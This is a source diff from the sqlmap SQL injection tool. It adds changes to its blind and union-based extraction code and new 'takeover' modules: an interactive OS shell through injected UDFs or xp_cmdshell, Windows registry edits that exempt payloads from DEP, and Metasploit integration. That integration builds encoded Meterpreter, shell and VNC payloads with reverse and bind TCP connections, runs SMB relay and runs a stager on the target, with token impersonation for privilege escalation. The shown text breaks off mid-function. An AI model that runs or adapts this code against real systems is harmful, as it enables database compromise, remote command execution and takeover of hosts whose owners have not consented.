resumeValue == True: + output = resume(expression, payload) + else: + output = None if output and ( expected == None or ( expected == "int" and output.isdigit() ) ): return output + if unpack == False: + return __goInference(payload, expression, charsetType) + if kb.dbmsDetected: - _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) + _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " @@ -200,6 +206,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): test = "n" + elif batch == True: + test = "y" else: message = "can the SQL query provided return " message += "multiple entries? [Y/n] " @@ -214,54 +222,58 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] - count = resume(countedExpression, payload) + if resumeValue == True: + count = resume(countedExpression, payload) if not stopLimit: if not count or not count.isdigit(): - count = __goInference(payload, countedExpression) + count = __goInference(payload, countedExpression, charsetType) if count and count.isdigit() and int(count) > 0: count = int(count) - message = "the SQL query provided can return " - message += "up to %d entries. How many " % count - message += "entries do you want to retrieve?\n" - message += "[a] All (default)\n[#] Specific number\n" - message += "[q] Quit\nChoice: " - test = readInput(message, default="a") - - if not test or test[0] in ("a", "A"): + if batch == True: stopLimit = count + else: + message = "the SQL query provided can return " + message += "up to %d entries. How many " % count + message += "entries do you want to retrieve?\n" + message += "[a] All (default)\n[#] Specific number\n" + message += "[q] Quit" + test = readInput(message, default="a") - elif test[0] in ("q", "Q"): - return "Quit" + if not test or test[0] in ("a", "A"): + stopLimit = count - elif test.isdigit() and int(test) > 0 and int(test) <= count: - stopLimit = int(test) + elif test[0] in ("q", "Q"): + return "Quit" - infoMsg = "sqlmap is now going to retrieve the " - infoMsg += "first %d query output entries" % stopLimit - logger.info(infoMsg) + elif test.isdigit() and int(test) > 0 and int(test) <= count: + stopLimit = int(test) - elif test[0] in ("#", "s", "S"): - message = "How many? " - stopLimit = readInput(message, default="10") + infoMsg = "sqlmap is now going to retrieve the " + infoMsg += "first %d query output entries" % stopLimit + logger.info(infoMsg) - if not stopLimit.isdigit(): + elif test[0] in ("#", "s", "S"): + message = "How many? " + stopLimit = readInput(message, default="10") + + if not stopLimit.isdigit(): + errMsg = "Invalid choice" + logger.error(errMsg) + + return None + + else: + stopLimit = int(stopLimit) + + else: errMsg = "Invalid choice" logger.error(errMsg) return None - else: - stopLimit = int(stopLimit) - - else: - errMsg = "Invalid choice" - logger.error(errMsg) - - return None - elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " @@ -286,7 +298,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): return None for num in xrange(startLimit, stopLimit): - output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num) + output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType) outputs.append(output) return outputs @@ -294,17 +306,17 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression - outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) + outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType) returnValue = ", ".join([output for output in outputs]) else: - returnValue = __goInference(payload, expression) + returnValue = __goInference(payload, expression, charsetType) return returnValue -def __goInband(expression, expected=None): +def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True): """ Retrieve the output of a SQL query taking advantage of an inband SQL injection vulnerability on the affected parameter. @@ -319,22 +331,22 @@ def __goInband(expression, expected=None): and expression in kb.resumedQueries[conf.url].keys() ) - if condition: + if condition and resumeValue == True: output = resume(expression, None) if not output or ( expected == "int" and not output.isdigit() ): partial = True if not output: - output = unionUse(expression, resetCounter=True) + output = unionUse(expression, resetCounter=True, unpack=unpack) if output: - data = parseUnionPage(output, expression, partial, condition) + data = parseUnionPage(output, expression, partial, condition, sort) return data -def getValue(expression, blind=True, inband=True, fromUser=False, expected=None): +def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output @@ -346,11 +358,11 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None) expression = expandAsteriskForColumns(expression) value = None - if inband and conf.unionUse and kb.dbms: + if inband and kb.unionPosition: if kb.dbms == "Oracle" and " ORDER BY " in expression: expression = expression[:expression.index(" ORDER BY ")] - value = __goInband(expression, expected) + value = __goInband(expression, expected, sort, resumeValue, unpack) if not value: warnMsg = "for some reasons it was not possible to retrieve " @@ -358,25 +370,30 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None) warnMsg += "technique, sqlmap is going blind" logger.warn(warnMsg) - conf.paramNegative = False + oldParamFalseCond = conf.paramFalseCond + oldParamNegative = conf.paramNegative + conf.paramFalseCond = False + conf.paramNegative = False if blind and not value: - value = __goInferenceProxy(expression, fromUser, expected) + value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType) + + conf.paramFalseCond = oldParamFalseCond + conf.paramNegative = oldParamNegative return value -def goStacked(expression): - """ - TODO: write description - """ - +def goStacked(expression, silent=False): expression = cleanQuery(expression) + debugMsg = "query: %s" % expression + logger.debug(debugMsg) + comment = queries[kb.dbms].comment query = agent.prefixQuery("; %s" % expression) query = agent.postfixQuery("%s;%s" % (query, comment)) payload = agent.payload(newValue=query) - page, _ = Request.queryPage(payload, content=True) + page, _ = Request.queryPage(payload, content=True, silent=silent) return payload, page diff --git a/lib/request/proxy.py b/lib/request/proxy.py index 5d5223d25..f7853b0d8 100644 --- a/lib/request/proxy.py +++ b/lib/request/proxy.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py new file mode 100644 index 000000000..a22b4f873 --- /dev/null +++ b/lib/takeover/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py new file mode 100644 index 000000000..beff73d1e --- /dev/null +++ b/lib/takeover/abstraction.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.dump import dumper +from lib.core.shell import autoCompletion +from lib.takeover.udf import UDF +from lib.takeover.xp_cmdshell import xp_cmdshell + + +class Abstraction(UDF, xp_cmdshell): + """ + This class defines an abstraction layer for OS takeover functionalities + to UDF / xp_cmdshell objects + """ + + def __init__(self): + self.envInitialized = False + + UDF.__init__(self) + xp_cmdshell.__init__(self) + + + def execCmd(self, cmd, silent=False, forgeCmd=False): + if kb.dbms in ( "MySQL", "PostgreSQL" ): + self.udfExecCmd(cmd, silent) + + elif kb.dbms == "Microsoft SQL Server": + self.xpCmdshellExecCmd(cmd, silent, forgeCmd) + + else: + errMsg = "Feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg + + + def evalCmd(self, cmd): + if kb.dbms in ( "MySQL", "PostgreSQL" ): + return self.udfEvalCmd(cmd) + + elif kb.dbms == "Microsoft SQL Server": + return self.xpCmdshellEvalCmd(cmd) + + else: + errMsg = "Feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg + + + def runCmd(self, cmd): + getOutput = None + + message = "do you want to retrieve the command standard " + message += "output? [Y/n] " + getOutput = readInput(message, default="Y") + + if not getOutput or getOutput in ("y", "Y"): + output = self.evalCmd(cmd) + + if output: + dumper.string("command standard output", output) + else: + print "No output" + else: + self.execCmd(cmd, forgeCmd=True) + + if kb.dbms == "Microsoft SQL Server": + self.cleanup(onlyFileTbl=True) + + + def absOsShell(self): + if kb.dbms in ( "MySQL", "PostgreSQL" ): + infoMsg = "going to use injected sys_eval and sys_exec " + infoMsg += "user-defined functions for operating system " + infoMsg += "command execution" + logger.info(infoMsg) + + elif kb.dbms == "Microsoft SQL Server": + infoMsg = "going to use xp_cmdshell extended procedure for " + infoMsg += "operating system command execution" + logger.info(infoMsg) + + else: + errMsg = "feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg + + infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows" + infoMsg += "'x' or 'q' and press ENTER" + logger.info(infoMsg) + + autoCompletion(osShell=True) + + while True: + command = None + + try: + command = raw_input("os-shell> ") + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + break + + if not command: + continue + + if command.lower() in ( "x", "q", "exit", "quit" ): + break + + self.runCmd(command) + + if not conf.cleanup: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + self.cleanup() + + elif kb.dbms == "Microsoft SQL Server": + self.cleanup(onlyFileTbl=True) + + else: + errMsg = "Feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg + + + def initEnv(self, mandatory=True, detailed=False): + if self.envInitialized == True: + return + + self.checkDbmsOs(detailed) + + if self.isDba() == False: + warnMsg = "the functionality requested might not work because " + warnMsg += "the session user is not a database administrator" + logger.warn(warnMsg) + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + self.udfInit() + + elif kb.dbms == "Microsoft SQL Server": + self.xpCmdshellInit(mandatory) + + else: + errMsg = "Feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/lib/takeover/dep.py b/lib/takeover/dep.py new file mode 100644 index 000000000..191125830 --- /dev/null +++ b/lib/takeover/dep.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os + +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.session import setDEP + + +class DEP: + """ + This class defines methods to handle DEP (Data Execution Prevention) + + The following operating systems has DEP enabled by default: + * Windows XP SP2+ + * Windows Server 2003 SP1+ + * Windows Vista SP0+ + * Windows 2008 SP0+ + + References: + * http://support.microsoft.com/kb/875352 + * http://en.wikipedia.org/wiki/Data_Execution_Prevention + """ + + def __init__(self): + self.bypassDEP = False + self.__supportDEP = False + + + def __initVars(self, exe): + self.__DEPvalues = { + "OPTIN": "only Windows system binaries are covered by DEP by default", + "OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed", + "ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway", + "ALWAYSOFF": "no DEP coverage for any part of the system" + } + self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" + self.__excRegValue = exe + self.__excRegValue = self.__excRegValue.replace("/", "\\") + + + def __addException(self): + infoMsg = "adding an exception to DEP in the Windows registry " + infoMsg += "for '%s' executable" % self.__excRegValue + + logger.info(infoMsg) + + if kb.dbms == "PostgreSQL": + warnMsg = "by default PostgreSQL server runs as postgres " + warnMsg += "user which has no privileges to add/delete " + warnMsg += "Windows registry keys, sqlmap will give it a try " + warnMsg += "anyway" + logger.warn(warnMsg) + + self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI") + + + def delException(self): + if self.bypassDEP == False: + return + + infoMsg = "deleting the exception to DEP in the Windows registry " + infoMsg += "for Metasploit Framework 3 payload stager" + logger.info(infoMsg) + + self.delRegKey(self.__excRegKey, self.__excRegValue) + + + def __analyzeDEP(self): + detectedValue = False + + for value, explanation in self.__DEPvalues.items(): + if value in kb.dep: + detectedValue = True + + if value in ( "OPTIN", "ALWAYSOFF" ): + logger.info(explanation) + + self.bypassDEP = False + + elif value == "OPTOUT": + logger.info(explanation) + + self.bypassDEP = True + self.__addException() + + elif value == "ALWAYSON": + logger.warn(explanation) + + self.bypassDEP = True + self.__addException() + + if detectedValue == False: + warnMsg = "it was not possible to detect the DEP system " + warnMsg += "policy, sqlmap will threat as if " + warnMsg += "%s" % self.__DEPvalues["OPTOUT"] + logger.warn(warnMsg) + + self.__addException() + + + def __systemHasDepSupport(self): + depEnabledOS = { + "2003": ( 1, 2 ), + "2008": ( 0, 1 ), + "XP": ( 2, 3 ), + "Vista": ( 0, 1 ), + } + + for version, sps in depEnabledOS.items(): + if kb.osVersion == version and kb.osSP in sps: + self.__supportDEP = True + break + + + def handleDep(self, exe): + logger.info("handling DEP") + + self.__systemHasDepSupport() + + if self.__supportDEP == True: + infoMsg = "the back-end DBMS underlying operating system " + infoMsg += "supports DEP: going to handle it" + logger.info(infoMsg) + + elif not kb.osVersion or not kb.osSP: + warnMsg = "unable to fingerprint the back-end DBMS " + warnMsg += "underlying operating system version and service " + warnMsg += "pack: going to threat as if DEP is enabled" + logger.warn(warnMsg) + + self.bypassDEP = True + + else: + infoMsg = "the back-end DBMS underlying operating system " + infoMsg += "does not support DEP: no need to handle it" + logger.info(infoMsg) + + return + + logger.info("checking DEP system policy") + + self.__initVars(exe) + + if not kb.dep: + kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper() + setDEP() + + self.__analyzeDEP() diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py new file mode 100644 index 000000000..2afbf47ea --- /dev/null +++ b/lib/takeover/metasploit.py @@ -0,0 +1,666 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import binascii +import os +import re +import stat +import sys +import time + +from select import select +from subprocess import PIPE +from subprocess import Popen as execute + +from lib.core.agent import agent +from lib.core.common import dataToStdout +from lib.core.common import getLocalIP +from lib.core.common import getRemoteIP +from lib.core.common import pollProcess +from lib.core.common import randomRange +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapDataException +from lib.core.exception import sqlmapFilePathException +from lib.core.subprocessng import blockingReadFromFD +from lib.core.subprocessng import blockingWriteToFD +from lib.core.subprocessng import setNonBlocking +from lib.request.connect import Connect as Request +from lib.takeover.upx import upx + + +class Metasploit: + """ + This class defines methods to call Metasploit for plugins. + """ + + def __initVars(self): + self.connectionStr = None + self.rhostStr = None + self.portStr = None + self.payloadStr = None + self.encoderStr = None + + self.resourceFile = None + + self.localIP = getLocalIP() + self.remoteIP = getRemoteIP() + + self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath) + self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath) + self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath) + self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath) + + self.__msfPayloadsList = { + "windows": { + 1: ( "Meterpreter (default)", "windows/meterpreter" ), + 2: ( "Shell", "windows/shell" ), + 3: ( "VNC", "windows/vncinject" ), + }, + "linux": { + 1: ( "Shell", "linux/x86/shell" ), + } + } + + self.__msfConnectionsList = { + "windows": { + 1: ( "Bind TCP (default)", "bind_tcp" ), + 2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ), + 3: ( "Reverse TCP", "reverse_tcp" ), + 4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ), + }, + "linux": { + 1: ( "Bind TCP (default)", "bind_tcp" ), + 2: ( "Reverse TCP", "reverse_tcp" ), + } + } + + self.__msfEncodersList = { + "windows": { + 1: ( "No Encoder", "generic/none" ), + 2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ), + 3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ), + 4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ), + 5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ), + 6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ), + 7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ), + 8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ), + 9: ( "Non-Alpha Encoder", "x86/nonalpha" ), + 10: ( "Non-Upper Encoder", "x86/nonupper" ), + 11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ), + 12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ), + 13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ), + } + } + + self.__msfSMBPortsList = { + "windows": { + 1: ( "139/TCP (default)", "139" ), + 2: ( "445/TCP", "445" ), + } + } + + self.__portData = { + "bind": "remote port numer", + "reverse": "local port numer", + } + + + def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): + if kb.os == "Windows": + os = "windows" + else: + os = "linux" + + message = "which %s do you want to use?" % msg + + if lst: + for num, data in lst[os].items(): + description = data[0] + + if num > maxValue: + maxValue = num + + if "default" in description: + default = num + + message += "\n[%d] %s" % (num, description) + else: + message += " [%d] " % default + + choice = readInput(message, default="%d" % default) + + if not choice: + if lst: + choice = str(default) + else: + return default + + elif not choice.isdigit(): + logger.warn("invalid value, only digits are allowed") + return self.__skeletonSelection(msg, lst, maxValue, default) + + elif int(choice) > maxValue or int(choice) < 1: + logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) + return self.__skeletonSelection(msg, lst, maxValue, default) + + choice = int(choice) + + if lst: + choice = lst[os][choice][1] + + return choice + + + def __selectSMBPort(self): + return self.__skeletonSelection("SMB port", self.__msfSMBPortsList) + + + def __selectEncoder(self, encode=True): + if kb.os == "Windows" and encode == True: + return self.__skeletonSelection("payload encoding", self.__msfEncodersList) + + + def __selectPayload(self, askChurrasco=True): + if kb.os == "Windows" and conf.privEsc == True: + infoMsg = "forcing Metasploit payload to Meterpreter because " + infoMsg += "it is the only payload that can be used to abuse " + infoMsg += "Windows Impersonation Tokens via Meterpreter " + infoMsg += "'incognito' extension to privilege escalate" + logger.info(infoMsg) + + __payloadStr = "windows/meterpreter" + + else: + __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) + + if __payloadStr == "windows/vncinject": + choose = False + + if kb.dbms == "MySQL": + debugMsg = "by default MySQL on Windows runs as SYSTEM " + debugMsg += "user, it is likely that the the VNC " + debugMsg += "injection will be successful" + logger.debug(debugMsg) + + elif kb.dbms == "PostgreSQL": + choose = True + + warnMsg = "by default PostgreSQL on Windows runs as " + warnMsg += "postgres user, it is unlikely that the VNC " + warnMsg += "injection will be successful" + logger.warn(warnMsg) + + elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + choose = True + + warnMsg = "it is unlikely that the VNC injection will be " + warnMsg += "successful because often Microsoft SQL Server " + warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0] + warnMsg += "or the Administrator is not logged in" + logger.warn(warnMsg) + + if choose == True: + message = "what do you want to do?\n" + message += "[1] Give it a try anyway\n" + message += "[2] Fall back to Meterpreter payload (default)\n" + message += "[3] Fall back to Shell payload" + + while True: + choice = readInput(message, default="2") + + if not choice or choice == "2": + __payloadStr = "windows/meterpreter" + + break + + elif choice == "3": + __payloadStr = "windows/shell" + + break + + elif choice == "1": + if kb.dbms == "PostgreSQL": + logger.warn("beware that the VNC injection might not work") + + break + + elif askChurrasco == False: + logger.warn("beware that the VNC injection might not work") + + break + + elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + uploaded = self.uploadChurrasco() + + if uploaded == False: + warnMsg = "beware that the VNC injection " + warnMsg += "might not work" + logger.warn(warnMsg) + + break + + elif not choice.isdigit(): + logger.warn("invalid value, only digits are allowed") + + elif int(choice) < 1 or int(choice) > 2: + logger.warn("invalid value, it must be 1 or 2") + + return __payloadStr + + + def __selectPort(self): + for connType, connStr in self.__portData.items(): + if self.connectionStr.startswith(connType): + return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) + + + def __selectRhost(self): + if self.connectionStr.startswith("bind"): + message = "which is the back-end DBMS address? [%s] " % self.remoteIP + address = readInput(message, default=self.remoteIP) + + if not address: + address = self.remoteIP + + return address + + elif self.connectionStr.startswith("reverse"): + return None + + else: + raise sqlmapDataException, "unexpected connection type" + + + def __selectConnection(self): + return self.__skeletonSelection("connection type", self.__msfConnectionsList) + + + def __prepareIngredients(self, encode=True, askChurrasco=True): + self.connectionStr = self.__selectConnection() + self.rhostStr = self.__selectRhost() + self.portStr = self.__selectPort() + self.payloadStr = self.__selectPayload(askChurrasco) + self.encoderStr = self.__selectEncoder(encode) + + + def __forgeMsfCliCmd(self, exitfunc="process"): + self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli + self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr) + self.__cliCmd += " EXITFUNC=%s" % exitfunc + self.__cliCmd += " LPORT=%s" % self.portStr + + if self.payloadStr == "windows/vncinject": + self.__cliCmd += " DisableCourtesyShell=1" + + if self.connectionStr.startswith("bind"): + self.__cliCmd += " RHOST=%s" % self.rhostStr + + elif self.connectionStr.startswith("reverse"): + self.__cliCmd += " LHOST=%s" % self.localIP + + else: + raise sqlmapDataException, "unexpected connection type" + + self.__cliCmd += " E" + + + def __forgeMsfConsoleCmd(self): + self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile) + + + def __forgeMsfConsoleResource(self): + self.__prepareIngredients(encode=False, askChurrasco=False) + + self.__resource = "use windows/smb/smb_relay\n" + self.__resource += "set SRVHOST %s\n" % self.localIP + self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort() + self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr) + self.__resource += "set LPORT %s\n" % self.portStr + + if self.connectionStr.startswith("bind"): + self.__resource += "set RHOST %s\n" % self.rhostStr + + elif self.connectionStr.startswith("reverse"): + self.__resource += "set LHOST %s\n" % self.localIP + + else: + raise sqlmapDataException, "unexpected connection type" + + self.__resource += "exploit\n" + + self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile) + self.resourceFp = open(self.resourceFile, "w") + + self.resourceFp.write(self.__resource) + self.resourceFp.close() + + + def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None): + self.__payloadCmd = self.__msfPayload + self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr) + self.__payloadCmd += " EXITFUNC=%s" % exitfunc + self.__payloadCmd += " LPORT=%s" % self.portStr + + if self.connectionStr.startswith("reverse"): + self.__payloadCmd += " LHOST=%s" % self.localIP + + elif not self.connectionStr.startswith("bind"): + raise sqlmapDataException, "unexpected connection type" + + if kb.os == "Windows": + self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output) + + if extra is not None: + self.__payloadCmd += " %s" % extra + + else: + self.__payloadCmd += " X" + + + def __runMsfCli(self, exitfunc="process"): + self.__forgeMsfCliCmd(exitfunc) + + infoMsg = "running Metasploit Framework 3 command line " + infoMsg += "interface locally, wait.." + logger.info(infoMsg) + + logger.debug("executing local command: %s" % self.__cliCmd) + + self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE) + + + def __runMsfConsole(self): + infoMsg = "running Metasploit Framework 3 console locally, wait.." + logger.info(infoMsg) + + logger.debug("executing local command: %s" % self.__consoleCmd) + + self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) + + + def __runMsfPayloadRemote(self): + infoMsg = "running Metasploit Framework 3 payload stager " + infoMsg += "remotely, wait.." + logger.info(infoMsg) + + if kb.os != "Windows": + self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True) + + cmd = "%s &" % self.exeFilePathRemote + + if self.cmdFromChurrasco == True: + cmd = "%s \"%s\"" % (self.churrascoPath, cmd) + + if kb.dbms == "Microsoft SQL Server": + cmd = self.xpCmdshellForgeCmd(cmd) + + # NOTE: calling the Metasploit payload from a system() function in + # C on Windows (check on Linux the behaviour) for some reason + # hangs it and the HTTP response goes into timeout, this does not + # happen when running the it from Windows cmd. + # Investigate and fix if possible + self.execCmd(cmd, silent=True) + + + def __loadMetExtensions(self, proc, metSess): + if kb.os != "Windows": + return + + if self.resourceFile != None: + proc.stdin.write("sessions -l\n") + proc.stdin.write("sessions -i %s\n" % metSess) + + proc.stdin.write("use priv\n") + + if conf.privEsc == True: + print + + infoMsg = "loading Meterpreter 'incognito' extension and " + infoMsg += "displaying the list of Access Tokens availables. " + infoMsg += "Choose which user you want to impersonate by " + infoMsg += "using incognito's command 'impersonate_token'" + logger.info(infoMsg) + + proc.stdin.write("use incognito\n") + proc.stdin.write("getuid\n") + proc.stdin.write("list_tokens -u\n") + + + def __controlMsfCmd(self, proc, func): + stdin_fd = sys.stdin.fileno() + setNonBlocking(stdin_fd) + + proc_out_fd = proc.stdout.fileno() + setNonBlocking(proc_out_fd) + + while True: + returncode = proc.poll() + + if returncode is None: + # Child hasn't exited yet + pass + else: + logger.debug("connection closed properly") + return returncode + + try: + ready_fds = select([stdin_fd, proc_out_fd], [], [], 1) + + if stdin_fd in ready_fds[0]: + try: + proc.stdin.write(blockingReadFromFD(stdin_fd)) + except IOError: + # Probably the child has exited + pass + + if proc_out_fd in ready_fds[0]: + out = blockingReadFromFD(proc_out_fd) + blockingWriteToFD(sys.stdout.fileno(), out) + + # For --os-pwn and --os-bof + pwnBofCond = self.connectionStr.startswith("reverse") + pwnBofCond &= "Starting the payload handler" in out + + # For --os-smbrelay + smbRelayCond = "Server started" in out + + if pwnBofCond or smbRelayCond: + func() + + metSess = re.search("Meterpreter session ([\d]+) opened", out) + + if metSess and self.payloadStr == "windows/meterpreter": + self.__loadMetExtensions(proc, metSess.group(1)) + + except EOFError: + returncode = proc.wait() + + return returncode + + + def createMsfShellcode(self): + infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " + infoMsg += "for the exploit" + logger.info(infoMsg) + + self.__randStr = randomStr(lowercase=True) + self.shellcodeChar = "" + self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) + self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb") + + self.__initVars() + self.__prepareIngredients(askChurrasco=False) + self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"") + + logger.debug("executing local command: %s" % self.__payloadCmd) + process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE) + + dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) + pollProcess(process) + payloadStderr = process.communicate()[1] + + if kb.os == "Windows": + payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) + else: + payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) + + self.__shellcodeFileP.close() + + if payloadSize: + 